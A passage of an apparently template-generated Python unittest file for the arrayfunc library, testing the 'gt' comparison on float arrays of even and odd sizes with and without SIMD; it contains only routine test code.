minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_f_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_f_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_f_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code f.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_f_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'f' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'f' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.f_min
maxval = arrayfunc.arraylimits.f_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'f' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('f', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('f', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('f', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code f.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code f.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code f.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code f.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code f.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
